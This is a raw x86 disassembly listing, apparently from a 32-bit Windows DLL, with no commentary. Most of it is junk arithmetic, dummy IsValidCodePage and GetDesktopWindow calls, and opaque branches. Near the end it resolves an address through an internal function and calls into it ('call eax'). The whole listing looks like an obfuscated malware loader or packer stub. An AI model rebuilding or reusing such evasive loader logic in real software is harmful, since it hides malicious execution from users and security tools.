push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
xor ecx, ecx
mov dword [0x1007f190], eax
mov dword [0x1007f194], ecx
mov edx, dword [0x1007f190]
mov eax, dword [0x1007f194]
mov ecx, dword [0x1007f1bc]
xor esi, esi
mov dword [ebp - 0x54c], edx
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x554], ecx
mov dword [ebp - 0x550], esi
mov edx, dword [ebp - 0x548]
cmp edx, dword [ebp - 0x550]
jl 0x100159d3
jg 0x100159c7
mov eax, dword [ebp - 0x54c]
cmp eax, dword [ebp - 0x554]
jb 0x100159d3
mov dword [ebp - 0x204], 1
jmp 0x100159dd
mov dword [ebp - 0x204], 0
mov ecx, dword [0x1007f190]
mov edx, dword [0x1007f194]
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x558], edx
cmp dword [ebp - 0x558], 0
jl 0x10015a15
jg 0x10015a09
cmp dword [ebp - 0x55c], 2
jb 0x10015a15
mov dword [ebp - 0x208], 1
jmp 0x10015a1f
mov dword [ebp - 0x208], 0
mov eax, dword [ebp - 0x204]
cmp eax, dword [ebp - 0x208]
jl 0x10015ceb
movsx ecx, byte [ebp - 0x12]
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
xor edx, edx
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], edx
mov eax, dword [0x1007f1d0]
mov ecx, dword [0x1007f1d4]
mov dword [ebp - 0x564], eax
mov dword [ebp - 0x560], ecx
cmp dword [ebp - 0x560], 0
jl 0x10015a80
jg 0x10015a74
cmp dword [ebp - 0x564], 0
jb 0x10015a80
mov dword [ebp - 0x20c], 1
jmp 0x10015a8a
mov dword [ebp - 0x20c], 0
mov edx, dword [0x1007f1d0]
mov eax, dword [0x1007f1d4]
mov dword [ebp - 0x56c], edx
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 0
jl 0x10015ac1
jg 0x10015ab5
cmp dword [ebp - 0x56c], 0x22
jb 0x10015ac1
mov dword [ebp - 0x210], 1
jmp 0x10015acb
mov dword [ebp - 0x210], 0
mov ecx, dword [ebp - 0x20c]
cmp ecx, dword [ebp - 0x210]
jne 0x10015b2e
mov dword [ebp - 4], 2
mov edx, dword [0x1007f1bc]
sub edx, dword [0x1007f1a4]
mov dword [0x1007f1bc], edx
jmp 0x10015b19
mov dword [ebp - 4], 0xffffffff
jmp 0x10015b29
jmp 0x10015ce6
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x574], ecx
mov dword [ebp - 0x570], edx
cmp dword [ebp - 0x570], 0x716e2
jl 0x10015b65
jg 0x10015b59
cmp dword [ebp - 0x574], 0xb4b01f59
jb 0x10015b65
mov dword [ebp - 0x214], 1
jmp 0x10015b6f
mov dword [ebp - 0x214], 0
movzx eax, word [0x1007f1a0]
cdq
mov dword [ebp - 0x57c], eax
mov dword [ebp - 0x578], edx
mov eax, dword [ebp - 0x578]
cmp eax, dword [ebp - 0x6c]
jg 0x10015ba7
jl 0x10015b9b
mov ecx, dword [ebp - 0x57c]
cmp ecx, dword [ebp - 0x70]
ja 0x10015ba7
mov dword [ebp - 0x218], 1
jmp 0x10015bb1
mov dword [ebp - 0x218], 0
mov edx, dword [ebp - 0x214]
cmp edx, dword [ebp - 0x218]
jl 0x10015bea
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x63c], ecx
sub eax, 0xe28ef219
mov dword [str.C], eax
mov edx, dword [ebp - 0x24]
imul edx, dword [0x1007f158]
or edx, dword [ebp - 0x24]
mov dword [ebp - 0x24], edx
jmp 0x10015ce6
cmp dword [ebp - 0x30], 0
je 0x10015c4a
movzx eax, byte [0x1007f04e]
test eax, eax
je 0x10015c0a
movsx ecx, word [0x1007f148]
mov dword [ebp - 0x21c], ecx
jmp 0x10015c16
mov edx, dword [0x1007f1a4]
mov dword [ebp - 0x21c], edx
mov eax, dword [ebp - 0x21c]
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov eax, dword [0x1007f144]
cdq
add eax, 0x70c4e934
mov word [0x1007f1c8], ax
movsx eax, word [0x1007f15c]
sub eax, 0x299cc870
mov dword [0x1007f1a4], eax
jmp 0x10015ce6
movzx ecx, word [0x1007f14c]
test ecx, ecx
jne 0x10015c5f
cmp dword [ebp - 0x50], 0
je 0x10015ce6
imul edx, dword [0x1007f140], 0x86ed
mov dword [0x1007f158], edx
movzx eax, byte [ebp - 0x13]
sub eax, 0x5c
mov dword [ebp - 0x38], eax
movzx ecx, word [0x1007f16c]
mov edx, dword [0x1007f158]
sub edx, ecx
jne 0x10015c9e
xor eax, eax
mov dword [ebp - 0x340], 1
mov dword [ebp - 0x33c], eax
jmp 0x10015ca9
xorps xmm0, xmm0
movlpd qword [ebp - 0x340], xmm0
mov ecx, dword [0x1007f1b0]
xor ecx, dword [0x1007f188]
mov edx, dword [0x1007f1b4]
xor edx, dword [0x1007f18c]
mov eax, dword [ebp - 0x33c]
push eax
mov eax, dword [ebp - 0x340]
push eax
push edx
push ecx
call fcn.1005a1b0
mov ecx, eax
movzx eax, word [ebp - 0x1c]
cdq
add ecx, eax
mov word [0x1007f128], cx
jmp 0x10015dfa
movzx edx, byte [0x1007f026]
cmp dword [0x1007f154], edx
jne 0x10015d80
mov eax, dword [0x1007f188]
or eax, dword [0x1007f18c]
je 0x10015d19
mov ecx, dword [0x1007f158]
mov dword [ebp - 0x220], ecx
jmp 0x10015d22
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x220], edx
mov eax, dword [ebp - 0x220]
xor ecx, ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movsx eax, byte [ebp - 0x12]
cdq
mov ecx, dword [0x1007f1d0]
mov esi, dword [0x1007f1d4]
sub ecx, eax
sbb esi, edx
mov edx, dword [0x1007f1d0]
mov eax, dword [0x1007f1d4]
sub edx, ecx
sbb eax, esi
mov dword [0x1007f1d0], edx
mov dword [0x1007f1d4], eax
movsx ecx, word [0x1007f148]
imul eax, ecx, 0xb0e0
cdq
mov dword [0x1007f178], eax
mov dword [0x1007f17c], edx
jmp 0x10015dfa
movsx edx, byte [ebp - 0x12]
test edx, edx
je 0x10015dfa
mov eax, dword [ebp - 0x24]
and eax, 0x3992
mov dword [0x1007f140], eax
movzx ecx, word [0x1007f1b8]
movzx edx, byte [0x1007f04e]
add ecx, edx
movzx eax, word [0x1007f1b8]
xor eax, ecx
mov word [0x1007f1b8], ax
cmp dword [ebp - 0x34], 0
je 0x10015dd0
movzx eax, byte [0x1007f04e]
cdq
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], edx
jmp 0x10015de8
mov ecx, dword [0x1007f120]
mov edx, dword [0x1007f124]
mov dword [ebp - 0x2b8], ecx
mov dword [ebp - 0x2b4], edx
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov edx, dword [0x1007fc38]
mov dword [ebp - 0xd0], edx
cmp dword [ebp - 0x30], 0
je 0x10015e51
mov dword [ebp - 0xc8], 0x25f
jmp 0x10015e27
mov eax, dword [ebp - 0xc8]
sub eax, 1
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jle 0x10015e4c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
xor ecx, ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dx, word [ebp - 0x20]
add dx, 1
mov word [ebp - 0x20], dx
jmp 0x10015e18
jmp 0x10015f3d
mov eax, 0xaf513f53
or eax, 0x93a76
je 0x10015e89
movzx ecx, word [ebp - 0x1c]
imul edx, ecx, 0x8908
mov dword [ebp - 0x54], edx
mov eax, dword [0x1007f178]
not eax
mov ecx, dword [0x1007f17c]
not ecx
mov dword [0x1007f160], eax
mov dword [0x1007f164], ecx
jmp 0x10015f3d
mov edx, dword [0x1007f138]
mov eax, dword [0x1007f13c]
mov dword [ebp - 0x584], edx
mov dword [ebp - 0x580], eax
mov ecx, dword [ebp - 0x584]
or ecx, dword [ebp - 0x580]
je 0x10015f3d
imul edx, dword [0x1007f1bc], 0x5f22
xor eax, eax
mov dword [0x1007f1c0], edx
mov dword [0x1007f1c4], eax
cmp dword [ebp - 0x68], 0
jne 0x10015edb
mov dword [ebp - 0x224], 1
jmp 0x10015ee5
mov dword [ebp - 0x224], 0
mov ecx, dword [0x1007f1b0]
or ecx, dword [0x1007f1b4]
jne 0x10015eff
mov dword [ebp - 0x228], 1
jmp 0x10015f09
mov dword [ebp - 0x228], 0
movsx edx, byte [ebp - 0x12]
add edx, dword [ebp - 0x224]
movsx eax, byte [ebp - 0x11]
sub eax, dword [0x1007f170]
sub edx, eax
not edx
movzx ecx, word [ebp - 0x1c]
sub ecx, dword [ebp - 0x68]
movzx eax, byte [0x1007f04e]
add ecx, dword [ebp - 0x228]
add eax, ecx
add edx, eax
mov word [ebp - 0x58], dx
mov ecx, dword [ebp - 0xd0]
add ecx, 0x13c
mov dword [ebp - 0x640], ecx
jmp 0x10015f6a
jmp 0x10015f7b
jmp 0x10015f91
jmp 0x10015fc1
mov edx, dword [ebp - 0xd0]
add edx, 0xdfc0
mov dword [ebp - 0x644], edx
movzx eax, word [ebp - 0x1c]
not eax
cmp dword [0x1007f1bc], eax
jb 0x10015ff5
movzx ecx, word [ebp - 0x1c]
test ecx, ecx
je 0x10015ff5
mov dword [ebp - 0x22c], 1
jmp 0x10015fff
mov dword [ebp - 0x22c], 0
cmp dword [ebp - 0x22c], 0x82
jg 0x10016285
push 0
push 0x26
push 0
push 0xd7
push 0
push 0
call fcn.10035b90
add esp, 0x18
mov dword [0x1007f180], eax
mov edx, dword [ebp - 0x80]
or edx, dword [ebp - 0x7c]
je 0x1001603f
movsx eax, word [ebp - 0x18]
test eax, eax
je 0x1001616b
mov dword [ebp - 0xcc], 0xff
jmp 0x1001605a
mov ecx, dword [ebp - 0xcc]
sub ecx, 1
mov dword [ebp - 0xcc], ecx
cmp dword [ebp - 0xcc], 0
jle 0x10016166
movsx eax, word [ebp - 0x20]
cdq
mov ecx, dword [ebp - 0x88]
sub ecx, eax
mov eax, dword [ebp - 0x84]
sbb eax, edx
mov edx, dword [ebp - 0x88]
sub edx, ecx
mov ecx, dword [ebp - 0x84]
sbb ecx, eax
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x84], ecx
cmp dword [ebp - 0x38], 0
jne 0x100160b2
xor edx, edx
mov dword [ebp - 0x348], 1
mov dword [ebp - 0x344], edx
jmp 0x100160bd
xorps xmm0, xmm0
movlpd qword [ebp - 0x348], xmm0
mov eax, dword [0x1007f120]
add eax, dword [ebp - 0x348]
mov ecx, dword [0x1007f124]
adc ecx, dword [ebp - 0x344]
mov dword [ebp - 0x58c], eax
mov dword [ebp - 0x588], ecx
mov edx, dword [ebp - 0x58c]
or edx, dword [ebp - 0x588]
jne 0x10016102
xor eax, eax
mov dword [ebp - 0x594], 1
mov dword [ebp - 0x590], eax
jmp 0x1001610d
xorps xmm0, xmm0
movlpd qword [ebp - 0x594], xmm0
mov ecx, dword [0x1007f160]
mov edx, dword [0x1007f164]
mov dword [ebp - 0x64c], edx
not ecx
mov eax, dword [ebp - 0x68]
cdq
add ecx, eax
and ecx, dword [ebp - 0x594]
movzx eax, byte [0x1007f027]
cdq
add ecx, eax
mov dword [ebp - 0x68], ecx
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [0x1007f1b0]
add ecx, 1
mov edx, dword [0x1007f1b4]
adc edx, 0
mov dword [0x1007f1b0], ecx
mov dword [0x1007f1b4], edx
jmp 0x1001604b
jmp 0x10016285
cmp dword [ebp - 0x54], 0
je 0x10016183
cmp dword [ebp - 0x24], 0
je 0x10016183
mov dword [ebp - 0x230], 1
jmp 0x1001618d
mov dword [ebp - 0x230], 0
movzx eax, word [0x1007f1b8]
cdq
mov dword [ebp - 0x59c], eax
mov dword [ebp - 0x598], edx
cmp dword [ebp - 0x59c], 0x406ea041
jne 0x100161c5
cmp dword [ebp - 0x598], 0xd7f6e
jne 0x100161c5
mov dword [ebp - 0x234], 1
jmp 0x100161cf
mov dword [ebp - 0x234], 0
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp - 0x234]
je 0x10016285
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x5c]
push eax
mov eax, dword [ebp - 0x60]
push eax
push edx
push ecx
call fcn.1005a1b0
mov dword [ebp - 0x5a4], eax
mov dword [ebp - 0x5a0], edx
mov ecx, dword [ebp - 0x5a4]
or ecx, dword [ebp - 0x5a0]
jne 0x1001621b
mov dword [ebp - 0x238], 1
jmp 0x10016225
mov dword [ebp - 0x238], 0
movzx edx, word [0x1007f1a0]
mov eax, dword [ebp - 0x54]
sub eax, edx
mov ecx, dword [0x1007f1a4]
imul ecx, dword [ebp - 0x238]
add eax, ecx
not eax
cdq
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], edx
mov edx, 1
imul eax, edx, 0x462d
movsx cx, byte [eax + 0x10316e28]
mov word [ebp - 0x20], cx
push 0
push 0x4939
mov edx, dword [0x1007f18c]
push edx
mov eax, dword [0x1007f188]
push eax
call fcn.1005a1b0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov ecx, dword [ebp - 0xd0]
add ecx, 0x1ef
mov dword [ebp - 0x650], ecx
mov dword [ebp - 0xdc], 0x2115
mov eax, dword [0x1007f140]
cdq
mov ecx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], esi
mov edx, 0x37de
mov word [0x1007f16c], dx
movzx eax, word [0x1007f1b8]
cdq
and eax, dword [0x1007f1b0]
and edx, dword [0x1007f1b4]
mov dword [0x1007f188], eax
mov dword [0x1007f18c], edx
cmp dword [ebp - 0xdc], 0x1f58
jle 0x1001645d
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov edx, dword [0x1007f160]
mov esi, dword [0x1007f164]
mov dword [ebp - 0x5ac], eax
mov dword [ebp - 0x5a8], ecx
mov dword [ebp - 0x5b4], edx
mov dword [ebp - 0x5b0], esi
mov eax, dword [ebp - 0x5ac]
cmp eax, dword [ebp - 0x5b4]
jne 0x10016343
mov ecx, dword [ebp - 0x5a8]
cmp ecx, dword [ebp - 0x5b0]
jne 0x10016343
mov dword [ebp - 0x23c], 1
jmp 0x1001634d
mov dword [ebp - 0x23c], 0
cmp dword [ebp - 0x30], 6
jne 0x1001635f
mov dword [ebp - 0x240], 1
jmp 0x10016369
mov dword [ebp - 0x240], 0
mov edx, dword [ebp - 0x23c]
cmp edx, dword [ebp - 0x240]
jge 0x10016449
movsx eax, word [0x1007f148]
cmp eax, dword [ebp - 0x3c]
ja 0x10016393
mov dword [ebp - 0x244], 1
jmp 0x1001639d
mov dword [ebp - 0x244], 0
movsx ecx, word [0x1007f148]
cmp ecx, 0x3b
jg 0x100163b5
mov dword [ebp - 0x248], 1
jmp 0x100163bf
mov dword [ebp - 0x248], 0
mov edx, dword [ebp - 0x244]
cmp edx, dword [ebp - 0x248]
jle 0x10016415
movsx eax, word [0x1007f148]
add eax, 0xf090
cdq
mov dword [0x1007f188], eax
mov dword [0x1007f18c], edx
mov eax, dword [0x1007f198]
mov ecx, dword [0x1007f19c]
sub eax, 1
sbb ecx, 0
mov dword [0x1007f198], eax
mov dword [0x1007f19c], ecx
mov edx, dword [0x1007f120]
add edx, 0xb5a43b4d
mov byte [0x1007f04e], dl
jmp 0x10016449
movzx eax, word [0x1007f16c]
mov ecx, dword [ebp - 0x38]
imul ecx, eax
mov edx, dword [ebp - 0x38]
add edx, ecx
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x64]
cdq
sub eax, 0xa65ade0a
mov word [0x1007f1c8], ax
movsx eax, word [ebp - 0x18]
cdq
mov dword [0x1007f188], eax
mov dword [0x1007f18c], edx
mov eax, dword [ebp - 0xdc]
sub eax, 1
mov dword [ebp - 0xdc], eax
jmp 0x100162e2
mov dword [ebp - 4], 4
movzx ecx, word [0x1007f128]
not ecx
xor ecx, dword [0x1007f154]
jne 0x10016481
mov dword [ebp - 0x24c], 1
jmp 0x1001648b
mov dword [ebp - 0x24c], 0
mov edx, dword [ebp - 0x80]
or edx, dword [ebp - 0x7c]
jne 0x1001649f
mov dword [ebp - 0x250], 1
jmp 0x100164a9
mov dword [ebp - 0x250], 0
mov eax, dword [ebp - 0x24c]
sub eax, dword [ebp - 0x250]
not eax
cdq
mov ecx, eax
mov eax, dword [0x1007f1a4]
cdq
mov esi, 0x5958a9db
sub esi, eax
imul eax, dword [0x1007f144], 0xd8
not eax
cdq
add esi, eax
sub ecx, esi
not ecx
mov word [ebp - 0x20], cx
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
jmp 0x10016510
mov dword [ebp - 4], 0xffffffff
jmp 0x10016520
mov dword [ebp - 0x3a8], 0
mov dword [ebp - 0x54], 4
mov eax, dword [ebp - 0x3c]
sub eax, 0x1d69bdf9
mov byte [ebp - 0x12], al
mov ecx, dword [0x1007f180]
add ecx, 1
mov dword [0x1007f180], ecx
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x254], edx
cmp dword [ebp - 0x254], 4
ja case.default.0x10016567
mov eax, dword [ebp - 0x254]
jmp dword [eax*4 + 0x100172c8]
mov ecx, dword [0x1007f180]
xor edx, edx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [0x1007f188], eax
mov dword [0x1007f18c], ecx
movzx edx, word [0x1007f1b8]
imul eax, edx, 0x67a8
and eax, dword [ebp - 0x64]
mov dword [ebp - 0x64], eax
jmp case.default.0x10016567
mov byte [ebp - 0x13], 2
mov dword [ebp - 0x68], 8
mov ecx, dword [0x1007fc38]
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], edx
jmp case.default.0x10016567
xor eax, eax
mov dword [ebp - 0x2c], 0x4b7545e
mov dword [ebp - 0x28], eax
mov ecx, 4
imul edx, ecx, 0x1fa5
mov eax, dword [edx + 0x102b9e20]
mov dword [ebp - 0x30], eax
movzx eax, byte [0x1007f027]
add eax, 0xde45
cdq
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
jmp case.default.0x10016567
mov eax, dword [0x1007f140]
add eax, 0x4d0e8418
cdq
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], edx
movzx ecx, word [0x1007f168]
not ecx
mov word [0x1007f16c], cx
mov edx, 0x4b06
mov word [ebp - 0x1c], dx
jmp case.default.0x10016567
cmp dword [ebp - 0x3c], 0
jne 0x10016641
mov dword [ebp - 0x258], 1
jmp 0x1001664b
mov dword [ebp - 0x258], 0
mov eax, dword [ebp - 0x34]
add eax, 0x2c
jne 0x1001665f
mov dword [ebp - 0x25c], 1
jmp 0x10016669
mov dword [ebp - 0x25c], 0
mov ecx, dword [ebp - 0x258]
sub ecx, dword [ebp - 0x25c]
jne 0x1001668b
xor edx, edx
mov dword [ebp - 0x358], 1
mov dword [ebp - 0x354], edx
jmp 0x10016696
xorps xmm0, xmm0
movlpd qword [ebp - 0x358], xmm0
cmp dword [ebp - 0x64], 0
jne 0x100166b0
xor eax, eax
mov dword [ebp - 0x350], 1
mov dword [ebp - 0x34c], eax
jmp 0x100166bb
xorps xmm0, xmm0
movlpd qword [ebp - 0x350], xmm0
mov ecx, dword [ebp - 0x28]
mov edx, dword [0x1007f120]
sub edx, dword [ebp - 0x2c]
mov eax, dword [0x1007f124]
sbb eax, ecx
mov ecx, dword [ebp - 0x34c]
push ecx
mov ecx, dword [ebp - 0x350]
push ecx
push eax
push edx
call fcn.1005a1b0
mov ecx, dword [ebp - 0x358]
sub ecx, eax
mov eax, dword [ebp - 0x354]
sbb eax, edx
not ecx
not eax
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x1007fc38]
xor edx, edx
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x84], edx
mov eax, dword [0x1007fc38]
mov dword [ebp - 0xd8], eax
movsx ecx, byte [ebp - 0x11]
test ecx, ecx
je 0x10016785
movsx edx, word [ebp - 0x18]
mov eax, dword [ebp - 0x68]
lea ecx, [eax + edx - 0xe986497]
mov dword [ebp - 0x68], ecx
cmp dword [ebp - 0x68], 0
je 0x1001674f
mov edx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x2c0], edx
mov dword [ebp - 0x2bc], eax
jmp 0x1001675f
mov eax, dword [ebp - 0x24]
cdq
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], edx
mov ecx, dword [ebp - 0x2c0]
mov edx, dword [ebp - 0x2bc]
mov dword [0x1007f120], ecx
mov dword [0x1007f124], edx
xor eax, eax
mov dword [ebp - 0x60], 2
mov dword [ebp - 0x5c], eax
jmp 0x100167ca
cmp dword [ebp - 0x64], 0xffff61bd
jle 0x100167ca
movzx cx, byte [0x1007f04e]
mov word [0x1007f1a0], cx
mov edx, dword [0x1007f144]
and edx, 0x49217d71
movsx eax, byte [ebp - 0x11]
imul eax, edx
mov byte [ebp - 0x11], al
mov ecx, dword [ebp - 0x34]
sub ecx, 0x5939daf1
xor edx, edx
mov dword [0x1007f160], ecx
mov dword [0x1007f164], edx
mov eax, dword [ebp - 0xd8]
add eax, 0x482
mov dword [ebp - 0x654], eax
push 0
movzx ecx, byte [ebp - 0x11]
push ecx
call fcn.10035170
add esp, 8
movsx dx, al
mov word [0x1007f1a8], dx
movsx eax, word [0x1007f1a8]
test eax, eax
jge 0x1001682d
movsx eax, byte [ebp - 0x11]
add eax, 0xa2
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov cx, word [0x1007fc38]
mov word [ebp - 0x1c], cx
movsx eax, word [0x1007f148]
cdq
sub eax, 0x3493985
mov byte [0x1007f026], al
mov edx, dword [ebp - 0xd8]
add edx, 0x377
mov dword [ebp - 0x26c], edx
movzx eax, word [0x1007f128]
not eax
cdq
mov ecx, eax
mov esi, edx
add ecx, 0x6ee3b820
adc esi, 0xd46f4
movsx eax, word [ebp - 0x58]
cdq
add eax, dword [0x1007f178]
adc edx, dword [0x1007f17c]
sub ecx, eax
sbb esi, edx
mov dword [0x1007f1d0], ecx
mov dword [0x1007f1d4], esi
mov eax, dword [ebp - 0x54]
cdq
push 0x87140
push 0xe95d6e70
push edx
push eax
call fcn.1005a1b0
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x30]
sub edx, 0x27060d81
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0xd8]
add eax, 0x270
mov dword [ebp - 0x658], eax
mov ecx, dword [ebp - 0x3c]
xor edx, edx
sub ecx, dword [0x1007f1c0]
sbb edx, dword [0x1007f1c4]
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x5b8], edx
mov eax, dword [ebp - 0x5bc]
or eax, dword [ebp - 0x5b8]
jne 0x10016929
mov eax, dword [ebp - 0x24]
cdq
push 0x1220a
push 0xbb9dfa6b
push edx
push eax
call fcn.1005a1b0
mov ecx, eax
movzx eax, word [ebp - 0x1c]
cdq
add eax, ecx
mov word [ebp - 0x1c], ax
mov edx, dword [ebp - 0x60]
sub edx, 0xf1d1
mov byte [ebp - 0x12], dl
push 0
push 6
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call fcn.1005a1b0
mov dword [0x1007f120], eax
mov dword [0x1007f124], edx
jmp 0x100169fb
cmp dword [ebp - 0x64], 0
jne 0x10016943
mov edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x5c]
jne 0x10016943
mov dword [ebp - 0x264], 0
jmp 0x1001694d
mov dword [ebp - 0x264], 1
mov eax, dword [0x1007f1d0]
mov ecx, dword [0x1007f1d4]
mov dword [ebp - 0x5c4], eax
mov dword [ebp - 0x5c0], ecx
mov edx, dword [ebp - 0x5c4]
or edx, dword [ebp - 0x5c0]
jne 0x1001697e
mov dword [ebp - 0x260], 1
jmp 0x10016988
mov dword [ebp - 0x260], 0
movsx eax, word [0x1007f148]
cmp eax, dword [ebp - 0x260]
je 0x100169a3
mov dword [ebp - 0x268], 1
jmp 0x100169ad
mov dword [ebp - 0x268], 0
mov ecx, dword [ebp - 0x264]
imul ecx, dword [ebp - 0x268]
test ecx, ecx
jne 0x100169fb
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [0x1007f124]
push ecx
mov edx, dword [0x1007f120]
push edx
call fcn.1005a1b0
mov dword [0x1007f120], eax
mov dword [0x1007f124], edx
mov eax, dword [0x1007f188]
add eax, dword [ebp - 0x70]
mov ecx, dword [0x1007f18c]
adc ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
mov edx, 0x11d
sub edx, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x3a4]
sub eax, dword [ebp - 0x26c]
cmp edx, eax
je 0x10016cb4
mov dword [0x1007f1a4], 2
mov eax, dword [0x1007f1a4]
cdq
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
push edx
push eax
push esi
push ecx
call fcn.1005a1b0
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x30], edx
movzx eax, word [0x1007f1b8]
movsx ecx, word [0x1007f1a8]
sub eax, ecx
mov word [0x1007f1b8], ax
mov edx, dword [0x1007f1a4]
mov dword [ebp - 0xd4], edx
cmp dword [ebp - 0xd4], 0
je 0x10016a87
cmp dword [ebp - 0xd4], 1
je 0x10016abc
cmp dword [ebp - 0xd4], 2
je 0x10016afd
jmp 0x10016b1d
xor eax, eax
mov dword [ebp - 0x4c], 0x1f
mov dword [ebp - 0x48], eax
movzx eax, byte [0x1007f04e]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x65c], eax
add ecx, edx
movzx eax, byte [0x1007f04e]
cdq
add eax, ecx
mov byte [0x1007f04e], al
jmp 0x10016b1d
mov ecx, dword [0x1007f178]
and ecx, 0x89b7
mov dword [ebp - 0x30], ecx
movzx edx, word [0x1007f1a0]
add edx, 0xca
mov dword [ebp - 0x30], edx
movsx eax, word [0x1007f148]
movzx ecx, byte [0x1007f026]
add eax, ecx
movsx edx, word [0x1007f148]
sub edx, eax
mov word [0x1007f148], dx
jmp 0x10016b1d
movsx eax, word [0x1007f15c]
cdq
mov ecx, eax
sub ecx, dword [0x1007f1c0]
movsx eax, word [0x1007f15c]
cdq
add eax, ecx
mov word [0x1007f15c], ax
push 0x8000
push 0
mov edx, dword [ebp - 0x8c]
push edx
push 0
push 0
call fcn.10001370
add esp, 8
call eax
mov eax, dword [0x1007f1c0]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [ebp - 0x13], al
movzx ecx, byte [ebp - 0x13]
test ecx, ecx
jl 0x10016c7a
movzx edx, byte [0x1007f027]
test edx, edx
jne 0x10016b73
xor eax, eax
mov dword [ebp - 0x360], 1
mov dword [ebp - 0x35c], eax
jmp 0x10016b7e
xorps xmm0, xmm0
movlpd qword [ebp - 0x360], xmm0
mov ecx, dword [str.C]
xor esi, esi
mov edx, dword [0x1007f120]
not edx
mov eax, dword [0x1007f124]
not eax
add ecx, edx
adc esi, eax
mov eax, dword [ebp - 0x38]
not eax
mov edx, dword [ebp - 0x68]
not edx
sub eax, edx
cdq
push edx
push eax
push esi
push ecx
call fcn.1005a1b0
mov dword [ebp - 0x5cc], eax
mov dword [ebp - 0x5c8], edx
mov eax, dword [ebp - 0x5cc]
or eax, dword [ebp - 0x5c8]
jne 0x10016bdd
xor ecx, ecx
mov dword [ebp - 0x368], 1
mov dword [ebp - 0x364], ecx
jmp 0x10016be8
xorps xmm0, xmm0
movlpd qword [ebp - 0x368], xmm0
mov edx, dword [ebp - 0x360]
add edx, dword [0x1007f120]
mov eax, dword [ebp - 0x35c]
adc eax, dword [0x1007f124]
mov ecx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x74]
push esi
push ecx
push eax
push edx
call fcn.1005a1b0
not eax
not edx
xor eax, dword [ebp - 0x368]
xor edx, dword [ebp - 0x364]
mov dword [0x1007f190], eax
mov dword [0x1007f194], edx
movsx edx, word [0x1007f1a8]
test edx, edx
jne 0x10016c41
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
push 0
push 0x1b20eefb
push edx
push ecx
call fcn.1005a1b0
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov eax, dword [0x1007f154]
mov dword [ebp - 0x64], eax
xor ecx, ecx
mov dword [ebp - 0x70], 0x48
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x3a8]
mov dword [ebp - 0x8c], edx
mov dword [ebp - 0xc0], 0x2d
mov eax, dword [0x1007f178]
sub eax, 0x26
mov dword [0x1007f140], eax
movsx ecx, word [ebp - 0x58]
sub ecx, 0xb9b4
mov byte [0x1007f04e], cl
movzx edx, byte [ebp - 0x13]
sub edx, 0x4194
mov eax, dword [0x1007f140]
sub eax, edx
mov dword [0x1007f140], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
add ecx, 0xe068101e
adc edx, 0
mov dword [0x1007f190], ecx
mov dword [0x1007f194], edx
mov eax, dword [ebp - 0xc0]
add eax, 1
